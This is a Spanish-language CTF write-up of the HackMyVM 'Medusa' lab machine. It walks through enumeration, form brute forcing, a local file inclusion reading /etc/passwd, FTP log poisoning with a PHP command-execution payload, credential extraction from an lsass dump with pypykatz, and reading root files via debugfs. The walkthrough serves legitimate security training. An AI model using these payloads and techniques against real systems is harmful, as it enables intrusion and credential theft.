Medusa

Hoy, en esta máquina del autor noname catalogada como easy en la plataforma de HackMyVM, se basa mucho en la enumeración de directorios, ficheros, subdominios y parámetros. Además descubriremos un LFI y practicaremos un log poisoning para conseguir un RCE. Para finalizar veremos una escalada nueva.

Reconocimiento de Puertos

Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo nmapauto

 [*] La IP de la máquina víctima es 192.168.1.135

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 21:17 CET
Initiating ARP Ping Scan at 21:17
Scanning 192.168.1.135 [1 port]
Completed ARP Ping Scan at 21:17, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:17
Scanning 192.168.1.135 [65535 ports]
Discovered open port 80/tcp on 192.168.1.135
Discovered open port 21/tcp on 192.168.1.135
Discovered open port 22/tcp on 192.168.1.135
Completed SYN Stealth Scan at 21:17, 2.82s elapsed (65535 total ports)
Nmap scan report for 192.168.1.135
Host is up, received arp-response (0.00059s latency).
Scanned at 2023-03-15 21:17:08 CET for 3s
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 64
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:F9:D8:32 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 21:17 CET
Nmap scan report for 192.168.1.135
Host is up (0.00018s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 70d4efc9276f8d957aa5511951fe14dc (RSA)
|   256 3f8d243fd25ecae6c9af372347bf1d28 (ECDSA)
|_  256 0c337e4e953db02d6a5eca39910d1308 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 08:00:27:F9:D8:32 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.81 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

En el reporte podemos ver que no informa de que tengamos acceso anónimo por FTP, así que toca realizar el reconocimiento vía HTTP.

export ip=192.168.1.135
❯ whatweb $ip
http://192.168.1.135 [200 OK] Apache[2.4.54], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[192.168.1.135], Title[Apache2 Debian Default Page: It works]

Se muestra la página por defecto de Apache, aunque parece que está modificada…

Enumeración de directorios y ficheros

 ❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u $ip
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.135
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2023/03/16 01:07:01 Starting gobuster in directory enumeration mode
===============================================================
/manual               (Status: 301) [Size: 315] [--> http://192.168.1.135/manual/]
/index.html           (Status: 200) [Size: 10674]
/hades                (Status: 301) [Size: 314] [--> http://192.168.1.135/hades/]

Hemos descubierto 2 directorios:

  1. El directorio /manual es el manual de Apache.
  2. El directorio /hades no muestra nada.

Volvemos a enumerar en ese nuevo directorio:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u $ip/hades
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.135/hades
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404,403
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
2023/03/16 01:38:37 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 0]
/door.php             (Status: 200) [Size: 555]

Descubrimos una página que ya nos muestra algo:

Fuerza bruta a formulario

En este punto, vamos a crear un diccionario personalizado con los strings de la página por defecto de Apache modificada para realizar posteriormente fuerza bruta.

❯ cewl -w diccionario.txt http://192.168.1.135
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Capturamos la petición con BurpSuite para saber los parámetros a designar para la fuerza bruta:

Ahora usaremos Wfuzz para obtener la clave:

❯ wfuzz -c -w diccionario.txt -d 'word=FUZZ' -u 'http://192.168.1.135/hades/d00r_validation.php' -t 150 --hh 123
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.135/hades/d00r_validation.php
Total requests: 229

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                 
=====================================================================

000000222:   200        5 L      7 W        138 Ch      "Kraken" 

También podemos usar Hydra:

Aclaración 1: Todo esto no es necesario, pues la clave es visible en página de inicio con una pista:

Aclaración 2: También se puede tirar fuerza bruta directamente sin cewl ya que la “clave” sale en rockyou.txt en la fila 540518. No obstante, hacerlo así sería muy lento, aunque posible.

Realizadas las aclaraciones, veamos qué muestra la web en cuestión con la clave correcta:

❯ curl http://192.168.1.135/hades/d00r_validation.php -X POST -d "word=Kraken"
<head>
    <link rel="stylesheet" href="styles.css">
    <title>Validation</title>
</head>
<source><marquee>medusa.hmv</marquee></source>

Vemos que nos muestra un dominio, así que vamos a añadirlo al /etc/hosts:

echo "192.168.1.135 medusa.hmv" | sudo tee -a /etc/hosts

Enumeración de subdominios

Ahora realizamos la enumeración de subdominios:

❯ gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100 -u medusa.hmv --append-domain
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://medusa.hmv
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/03/16 16:10:08 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.medusa.hmv Status: 200 [Size: 1973]

Encontramos un subdominio, que tras añadirlo también al /etc/hosts nos muestra lo siguiente:

Parece que toca enumerar de nuevo directorios y ficheros en esta nueva ruta:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u dev.medusa.hmv -r
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,html,php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2023/03/16 16:32:01 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 1973]
/files                (Status: 200) [Size: 0]
/assets               (Status: 200) [Size: 943]
/css                  (Status: 200) [Size: 935]
/manual               (Status: 200) [Size: 676]
/robots.txt           (Status: 200) [Size: 489]
Progress: 878786 / 882244 (99.61%)
===============================================================
2023/03/16 16:33:27 Finished
===============================================================

Tras revisar los nuevos recursos encontramos:

Y el directorio /files que nuevamente no muestra nada. Así que más enumeración…

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u dev.medusa.hmv/files -r
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv/files
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2023/03/16 16:43:17 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 0]
/system.php           (Status: 200) [Size: 0]
/readme.txt           (Status: 200) [Size: 144]

Como se puede observar, la nueva página system.php tampoco muestra nada y el readme:

El nombre del fichero es sugerente, y el readme también, vamos a enumerar parámetros en busca de ejecución de comandos:

Enumeración de parámetros

❯ gobuster fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u "dev.medusa.hmv/files/system.php?FUZZ=id" -b 400,404 --exclude-length 0
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv/files/system.php?FUZZ=id
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Excluded Status codes:   400,404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/16 16:50:25 Starting gobuster in fuzzing mode
===============================================================
Progress: 219550 / 220561 (99.54%)
===============================================================
2023/03/16 16:50:58 Finished
===============================================================

Por aquí no ha habido suerte, vamos a intentar lo mismo pero leyendo un fichero en busca de un LFI:

❯ gobuster fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -u "dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd" -b 400,404 --exclude-length 0
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Excluded Status codes:   400,404
[+] Exclude Length:          0
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/03/16 16:51:59 Starting gobuster in fuzzing mode
===============================================================
Found: [Status=200] [Length=1452] http://dev.medusa.hmv/files/system.php?view=/etc/passwd

Hemos encontrado el parámetro adecuado y podemos leer el fichero /etc/passwd de la máquina. Vamos ahora a intentar conseguir el RCE.

Log poisoning

Cuando tenemos un LFI, lo que nos permite es leer ficheros del sistema, de forma que si recordamos, teníamos los puertos 21 y 22 abiertos, los cuales estarán generando logs. De esta forma, vamos a poner como login de usuario FTP un payload con el fin de obtener una ejecución remota de comandos (RCE).

❯ ftp 192.168.1.135
Connected to 192.168.1.135.
220 (vsFTPd 3.0.3)
Name (192.168.1.135:kaian): <?php system($_REQUEST['cmd']); ?>
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Ahora vamos a cargar el log generado (la ruta es /var/log/vsftpd.log) y probar el payload que hemos agregado con el comando “id”:

❯ curl 'http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log&cmd=id'
Thu Mar 16 16:09:34 2023 [pid 531] CONNECT: Client "::ffff:192.168.1.150"
Thu Mar 16 16:10:13 2023 [pid 530] [uid=33(www-data) gid=33(www-data) groups=33(www-data)
] FAIL LOGIN: Client "::ffff:192.168.1.150"

Reverse shell

Tenemos el RCE funcionando, ahora solo falta obtener la reverse shell, así que nos ponemos en escucha y lanzamos una bash por Netcat:

Se ve un poco raro porque está codificado en formato URL ya que curl no admite espacios y muestra error. Si se ejecuta con espacios desde el navegador ya lo traduce automáticamente y funciona sin problemas.

Ahora vamos a realizar el tratamiento de la TTY y tras ello un reconocimiento del sistema para ver los siguientes pasos, ya que estaremos con el usuario www-data y me temo que no podremos leer la flag de user.

www-data@medusa:/var/www/dev/files$ cd /home
www-data@medusa:/home$ ls
spectre
www-data@medusa:/home$ ls -la spectre/
total 32
drwxr-xr-x 3 spectre spectre 4096 Jan 18 19:46 .
drwxr-xr-x 3 root    root    4096 Jan 15 09:02 ..
-rw------- 1 spectre spectre  197 Jan 21 14:48 .bash_history
-rw-r--r-- 1 spectre spectre  220 Jan 15 09:02 .bash_logout
-rw-r--r-- 1 spectre spectre 3526 Jan 15 09:02 .bashrc
drwxr-xr-x 3 spectre spectre 4096 Jan 18 05:34 .local
-rw-r--r-- 1 spectre spectre  807 Jan 15 09:02 .profile
-rw------- 1 spectre spectre   44 Jan 18 19:46 user.txt
www-data@medusa:/home$ 

Pues en efecto, no tenemos privilegios para ello y parece que toca convertirnos en spectre, así que tras revisar un poco vemos lo siguiente:

www-data@medusa:/var/www/dev/files$ find / -user www-data 2>/dev/null | grep -v "/proc"
/dev/pts/0
/var/cache/apache2/mod_cache_disk
/run/lock/apache2
/.../old_files.zip

Descubrimos un fichero extraño en un directorio más extraño aún, además al tratar de descomprimirlo parece que tiene contraseña, así que vamos a pasarlo a local y tratar de crackearlo.

Fuerza bruta a zip

❯ zip2john old_files.zip > hash
❯ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 12386830 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
medusa666        (old_files.zip/lsass.DMP)     
1g 0:00:01:38 DONE (2023-03-16 21:53) 0.01014g/s 57442p/s 57442c/s 57442C/s megan0308..mebe320
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Ahora que ya tenemos la contraseña, vamos a descomprimirlo (necesario 7z):

❯ 7z x old_files.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,5 CPUs AMD Ryzen 5 2600X Six-Core Processor            (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 12387024 bytes (12 MiB)

Extracting archive: old_files.zip
--
Path = old_files.zip
Type = zip
Physical Size = 12387024

    
Enter password (will not be echoed):
Everything is Ok

Size:       34804383
Compressed: 12387024

Esto ha resultado en un fichero llamado lsass.DMP. De esta forma, parece ser un volcado del proceso lsass.exe, donde podremos ver todo tipo de credenciales que se almacenan en memoria. Para ello utilizaremos una herramienta que es una implementación de Mimikatz en Python y filtraremos por el usuario que nos interesa:

❯ pypykatz lsa minidump lsass.DMP | grep -C2 "spectre"
INFO:pypykatz:Parsing file lsass.DMP
authentication_id 845877 (ce835)
session_id 7
username spectre
domainname Medusa-PC
logon_server MEDUSA-PC
--
luid 845877
  == MSV ==
    Username: spectre
    Domain: Medusa-PC
    LM: NA
--
    DPAPI: NA
  == WDIGEST [ce835]==
    username spectre
    domainname Medusa-PC
    password 5p3ctr3_p0is0n_xX
    password (hex)35007000330063007400720033005f00700030006900730030006e005f0078005800000000000000
  == Kerberos ==
    Username: spectre
    Domain: Medusa-PC
    Password: 5p3ctr3_p0is0n_xX
    password (hex)35007000330063007400720033005f00700030006900730030006e005f0078005800000000000000
  == WDIGEST [ce835]==
    username spectre
    domainname Medusa-PC
    password 5p3ctr3_p0is0n_xX
    password (hex)35007000330063007400720033005f00700030006900730030006e005f0078005800000000000000
  == TSPKG [ce835]==
    username spectre
    domainname Medusa-PC
    password 5p3ctr3_p0is0n_xX

Pues ya tenemos la contraseña de spectre, así que vamos a convertirnos en él y a leer la flag de user.

www-data@medusa:/...$ su spectre
Password: 
spectre@medusa:/...$ cd ~
spectre@medusa:~$ cat user.txt
good job!

Escalada de privilegios

En este caso tenemos una escalada muy distinta y a la vez muy directa. Si miramos los grupos a los que pertenecemos nos da la clave:

spectre@medusa:~$ id
uid=1000(spectre) gid=1000(spectre) groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

Como podemos ver, pertenecemos al grupo disk, lo que nos permite utilizar debugfs para poder acceder a todo el disco. De esta forma, vamos a ver cómo se llama la partición y acto seguido intentar leer la flag.

spectre@medusa:~$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       6.9G  2.6G  4.0G  39% /
udev            471M     0  471M   0% /dev
tmpfs           489M     0  489M   0% /dev/shm
tmpfs            98M  492K   98M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock
tmpfs            98M     0   98M   0% /run/user/1000
spectre@medusa:~$ debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:  cd /root
debugfs:  ls 
WARNING: terminal is not fully functional
-  (press RETURN) 129800  (12) .    2  (12) ..    129995  (16) .profile   
 139363  (16) .bashrc    139354  (16) .local    139567  (24) .bash_history   
 139361  (20) .rO0t.txt    139571  (3968) .selected_editor   
(END)(END)(END)...skipping...
debugfs:  cat .rO0t.txt
congrats hacker :)

Con esto terminamos la máquina, con el write-up más largo hasta la fecha. Dar las gracias a noname por crear la máquina, me ha parecido divertida, con mucha enumeración. Nos vemos en la siguiente.